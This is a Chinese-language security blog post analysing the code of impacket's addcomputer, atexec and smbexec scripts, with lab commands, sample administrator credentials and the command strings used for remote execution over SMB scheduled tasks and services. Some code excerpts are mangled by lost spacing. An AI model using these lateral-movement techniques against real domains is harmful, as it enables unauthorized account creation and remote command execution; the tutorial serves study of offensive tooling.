impacket解读(一. addcomputer、atexec、smbexec)

admin 2025年1月21日14:01:19评论6 views字数 10239阅读34分7秒阅读模式
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

众亦信安,中意你啊!

点不了吃亏,点不了上当,设置星标,方能无恙!

impacket解读(一. addcomputer、atexec、smbexec)
点不了吃亏,点不了上当,设置星标,方能无恙!
背景:
    害羞的橘子的学习记录
完整记录公众号回复 250118
目录:
一、addcomputer浅析
二、atexec浅析
三、smbexec浅析

一、addcomputer 浅析

作用:域内创建机器账户;

方法:samr(默认)、ldap;

SAMR

RPC绑定

epm.hept_map()方法进行前期的RPC绑定以及EPM MAP请求操作

if self.__targetIp isnotNone:            stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')else:            stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')

此段代码对应的流量如下:

impacket解读(一. addcomputer、atexec、smbexec)

配置samr协议通信要用到的参数,samr服务器地址、端口、凭据等;

 rpctransport = transport.DCERPCTransportFactory(stringBinding)        rpctransport.set_dport(self.__port)if self.__targetIp isnotNone:            rpctransport.setRemoteHost(self.__targetIp)            rpctransport.setRemoteName(self.__target)ifhasattr(rpctransport, 'set_credentials'):# This method exists only for selected protocol sequences.            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,                                         self.__nthash, self.__aesKey)        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)

RPC调用

    doSAMRAdd()方法进行创建创建用户

self.doSAMRAdd(rpctransport)

    对应的流量如下:    

impacket解读(一. addcomputer、atexec、smbexec)

    进入doSAMRAdd()方法中,以下是创建机器账户的大体流程:

  • dce = rpctransport.get_dce_rpc() //创建DCE/RPC实例

  • dce.connect()  //与目标建立smb连接

  • dec.bind(samr.MSRPC_UUID_SAMR)  //绑定到目标samr接口

    此处代码对应的流量:

impacket解读(一. addcomputer、atexec、smbexec)
  • samr.hSamrConnect5()  //连接samr服务器

  • samr.hSamrEnumerateDomainsInSamServer()  //枚举目标服务器上的域

  • samr.hSamrLookupDomainInSamServer()  //检索目标域名对应的SID

  • samr.hSamrOpenDomain()  //获取samr服务器中目标域的句柄

  • samr.hSamrCreateUser2InDomain()  //创建机器账户

  • samr.hSamrSetPasswordInternal4New()  //设置机器账户密码

    上面的通信是经过SMBV3加密的,所以流量上看不出什么;

LDAP

因为ldap3通信使用了SSL加密,抓包看不出明显特征,就不放流量图了,如果想看不加密可以将ldap3.Server()方法中的use_ssl设置为False,后面的文章会详细分析ldap通信;

ldap3.Server()方法配置ldap服务器ip、端口、是否使用ssl加密等信息;

ldapServer = ldap3.Server(connectTo, use_ssl=True, port=self.__port, get_info=ldap3.ALL, tls=tls)

ldap3.Connection()方法进行认证,默认为NTLM认证,也可以使用Kerberos或hash认证;

if self.__doKerberos:                    ldapConn = ldap3.Connection(ldapServer)                    self.LDAP3KerberosLogin(ldapConn, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,                                                 self.__aesKey, kdcHost=self.__kdcHost)elif self.__hashes isnotNone:                    ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM)                    ldapConn.bind()else:                    ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM)                    ldapConn.bind()

    在目标ldap数据库中添加咱们创建的机器账户的各种属性,dnsHostName、userAccountControl、servicePrincipalName、unicodePwd等;

computerHostname = self.__computerName[:-1]                computerDn = ('CN=%s,%s' % (computerHostname, self.__computerGroup))                # Default computer SPNs                spns = ['HOST/%s' % computerHostname,'HOST/%s.%s' % (computerHostname, self.__domain),'RestrictedKrbHost/%s' % computerHostname,'RestrictedKrbHost/%s.%s' % (computerHostname, self.__domain),                ]                ucd = {'dnsHostName''%s.%s' % (computerHostname, self.__domain),'userAccountControl'0x1000,'servicePrincipalName': spns,'sAMAccountName'self.__computerName,'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')                }                res = ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd)

总结

    本小节对impacket中的addcomputer脚本进行浅析,只解释了关键步骤的代码;

    samr方法是通过samr协议对lsass.exe进行请求创建机器账户,并存储到ntds.dit数据库中;

    ldap方法是向域控的ldap数据库建立连接,在ldap中添加机器账户以及相关属性;

    将上面代码绘制成导图,方便理解;

impacket解读(一. addcomputer、atexec、smbexec)

二、atexec 浅析

测试环境

作用:利用计划任务组件进行命令执行;

方式:SMB协议,NamePipeatsvc接口;

内网环境

  1. DC(域控):192.168.1.137

  2. WIN10(攻击机):192.168.1.129

  3. WIN7(被攻击机):192.168.1.148

执行测试命令:

python atexec.py domain.local/administrator:"Admin@123"@192.168.1.137 whoami

代码解析

    transport.DCERPCTransportFactory()创建DCE/RPC传输对象,进入    self.doStuff();

stringbinding = r'ncacn_np:%s[pipeatsvc]' % addr        rpctransport = transport.DCERPCTransportFactory(stringbinding)ifhasattr(rpctransport, 'set_credentials'):# This method exists only for selected protocol sequences.            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,                                         self.__aesKey)            rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)        try:            self.doStuff(rpctransport)        except Exception as e:            if logging.getLogger().level == logging.DEBUG:                import traceback                traceback.print_exc()            logging.error(e)            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0:                logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work')

rpctransport.get_dce_rpc()获取DCE/RPC传输对象;

dce.set_credentials()设置验证凭据;

dce.connect()建立RPC连接(SMB协议);

dce = rpctransport.get_dce_rpc()dce.set_credentials(*rpctransport.get_credentials())if self.__doKerberos isTrue:    dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)dce.connect()

此处代码对应的流量如下:

impacket解读(一. addcomputer、atexec、smbexec)

dce.set_auth_level()设置通信加密级别;

dce.bind()rpc绑定请求;

dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)dce.bind(tsch.MSRPC_UUID_TSCHS)

对应流量如下:

impacket解读(一. addcomputer、atexec、smbexec)

设置计划任务模板,在模板中设置我们传入的命令,并将执行后的结果保存至%windir%temp8位随机文件名的tmp文件;

tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])        tmpFileName = tmpName + '.tmp'        if self.sessionId is not None:            cmd, args = cmd_split(self.__command)        else:            cmd = "cmd.exe"            args = "/C %s > %%windir%%\Temp\%s 2>&1" % (self.__command, tmpFileName)        xml = """<?xml version="1.0" encoding="UTF-16"?><Taskversion="1.2"xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"><Triggers><CalendarTrigger><StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary><Enabled>true</Enabled><ScheduleByDay><DaysInterval>1</DaysInterval></ScheduleByDay></CalendarTrigger></Triggers><Principals><Principalid="LocalSystem"><UserId>S-1-5-18</UserId><RunLevel>HighestAvailable</RunLevel></Principal></Principals><Settings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>false</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable><IdleSettings><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun><ExecutionTimeLimit>P3D</ExecutionTimeLimit><Priority>7</Priority></Settings><ActionsContext="LocalSystem"><Exec><Command>%s</Command><Arguments>%s</Arguments></Exec></Actions></Task>        """ % ((xml_escape(cmd) if self.__silentCommand is False else self.__command.split()[0]),             (xml_escape(args) if self.__silentCommand is False else " ".join(self.__command.split()[1:])))

tsch.hSchRpcRegisterTask()创建计划任务;

tsch.hSchRpcRun()运行计划任务;

tsch.hSchRpcGetLastRunInfo()查看计划任务执行情况;

tsch.hSchRpcDelete()删除计划任务;

try:    logging.info('Creating task \%s' % tmpName)    tsch.hSchRpcRegisterTask(dce, '\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)    taskCreated = True    logging.info('Running task \%s' % tmpName)    done = Falseif self.sessionId isNone:        tsch.hSchRpcRun(dce, '\%s' % tmpName)else:try:            tsch.hSchRpcRun(dce, '\%s' % tmpName, flags=tsch.TASK_RUN_USE_SESSION_ID, sessionId=self.sessionId)except Exception as e:ifstr(e).find('ERROR_FILE_NOT_FOUND') >= 0orstr(e).find('E_INVALIDARG') >= 0 :                logging.info('The specified session doesn't exist!')                done = Trueelse:raisewhilenot done:        logging.debug('Calling SchRpcGetLastRunInfo for \%s' % tmpName)        resp = tsch.hSchRpcGetLastRunInfo(dce, '\%s' % tmpName)if resp['pLastRuntime']['wYear'] != 0:            done = Trueelse:            time.sleep(2)    logging.info('Deleting task \%s' % tmpName)    tsch.hSchRpcDelete(dce, '\%s' % tmpName)    taskCreated = Falseexcept tsch.DCERPCSessionError as e:    logging.error(e)    e.get_packet().dump()finally:if taskCreated isTrue:        tsch.hSchRpcDelete(dce, '\%s' % tmpName)

对应流量如下:

impacket解读(一. addcomputer、atexec、smbexec)

rpctransport.get_smb_connection()创建新的SMB连接;

smbConnection.getFile()读取文件ADMIN$Temp下的8位随机字符的tmp文件(Admin$对应主机的C:windows目录);

smbConnection.deleteFile()删除该tmp文件;

smbConnection = rpctransport.get_smb_connection()waitOnce = TruewhileTrue:try:        logging.info('Attempting to read ADMIN$\Temp\%s' % tmpFileName)        smbConnection.getFile('ADMIN$''Temp\%s' % tmpFileName, output_callback)breakexcept Exception as e:ifstr(e).find('SHARING') > 0:            time.sleep(3)elifstr(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:if waitOnce isTrue:# We're giving it the chance to flush the file before giving up                time.sleep(3)                waitOnce = False            else:                raise        else:            raiselogging.debug('Deleting file ADMIN$\Temp\%s' % tmpFileName)smbConnection.deleteFile('ADMIN$', 'Temp\%s' % tmpFileName)dce.disconnect()

对应流量如下:

impacket解读(一. addcomputer、atexec、smbexec)

整理代码思维导图如下:

impacket解读(一. addcomputer、atexec、smbexec)

总结

本小节浅析impacket中atexec脚本的整个流程,该脚本通过目标主机上计划任务组件进行命令执行,如果SMB版本位2.1之后,则SMB为加密流量,所以我们以WIN7系统主机做测试可以看到SMB通信详细信息;

整理流程图如下:

impacket解读(一. addcomputer、atexec、smbexec)

三、smbexec浅析

简介

通过smb协议进行命令执行。

协议:MS-SCMR;

接口:pipesvcctl;

测试环境

win2019(DC):192.168.1.4

win10(attack):192.168.1.3

win2016(目标主机):192.168.1.10

测试命令如下:

python smbexec.py domain.local/administrator:"Admin@123"@192.168.1.4 -debug

相关截图如下:

impacket解读(一. addcomputer、atexec、smbexec)

代码解读

    主函数处理解析输入参数,将参数带入到SMDEXEC类中,并调用类中的run()函数;

impacket解读(一. addcomputer、atexec、smbexec)

    进入run()函数中,显示进行rpc连接前期的准备操作,这是pipe命令管道、设置连接端口、设置目标主机等;接着初始化RemoteShell类,并调用cmdloop()函数;

impacket解读(一. addcomputer、atexec、smbexec)

    进入RemoteShell类中的初始化函数中,该类继承了cmd.Cmd类,前面设置一些参数,接着调用rpc.get_dce_rpc()函数获取上面的rpc配置,接着调用self.__scmr.coonect()函数进行smb连接;

impacket解读(一. addcomputer、atexec、smbexec)

    对应流量如下:

impacket解读(一. addcomputer、atexec、smbexec)

    由于我们没有选择SERVER Mode,所以不用进入if条件判断中,接着调用self.__scmr.bind()函数进行RPC绑定,继续调用scmr.hROpenSCManagerW()函数获取SCMR服务句柄;

    对应流量如下:

impacket解读(一. addcomputer、atexec、smbexec)

    调用self.transferClient = rpc.get_smb_connection()获取SMB连接,接着调用self.do_cd('')查看当前所在路径;进入do_cd()函数中,接着调用self.execute_remote()

impacket解读(一. addcomputer、atexec、smbexec)

    进入execute_remote()中,先是if判断shell_type参数是否为powershell(默认为cmd),接着生成8为随机字符的bat文件名赋值给batchFile,将执行的命令经过构造拼接赋值给command,执行cd时,传入的执行命令为:

%COMSPEC% /Q /c echocd  ^> \%COMPUTERNAME%C$__output 2^>^&1 > %SYSTEMROOT%Ojqmuoqy.bat & %COMSPEC% /Q /c %SYSTEMROOT%Ojqmuoqy.bat & del %SYSTEMROOT%Ojqmuoqy.bat

    接着调用scmr.hRCreateServiceW()函数创建服务,服务名为8位随机字符;然后调用scmr.hRStartServiceW()启动服务、调用scmr.hRDeleteService()用删除服务、调用scmr.hRCloseServiceHandle()关闭服务句柄,调用self.get_output()获取执行命令内容;

impacket解读(一. addcomputer、atexec、smbexec)

    对应流量如下:

impacket解读(一. addcomputer、atexec、smbexec)

    进入self.get_output()中,if判断self.__mode是否为SHARE(默认为SHARE),调用self.transferClient.getFile()通过SMB访问包含命令执行结果的文件__output,并将结果赋值给self.__outputBuffer,调用self.transferClient.deleteFile()删除该文件;

impacket解读(一. addcomputer、atexec、smbexec)

    对应流量如下:

impacket解读(一. addcomputer、atexec、smbexec)

    返回do_cd()中,执行完self.execute_remote('cd ' )if判断self.__outputBuffer是否有内容,有内容则获取路径将器显示到命令行输入的左侧,例如:C:windowssystem32>,powershell则直接显示PS>

impacket解读(一. addcomputer、atexec、smbexec)

总结

    本小节对smbexec.py脚本代码进行了简单的分析,该脚本命令执行方式是通过创建服务,服务内容为将命令写入bat文件并执行,并smb协议获取命令执行结果;

点点关注不迷路,每周不定时持续分享各种干货。可关注公众号回复"进群",也可添加管理微信拉你入群。

impacket解读(一. addcomputer、atexec、smbexec)

原文始发于微信公众号(众亦信安):impacket解读(一. addcomputer、atexec、smbexec)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月21日14:01:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   impacket解读(一. addcomputer、atexec、smbexec)https://cn-sec.com/archives/3654914.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息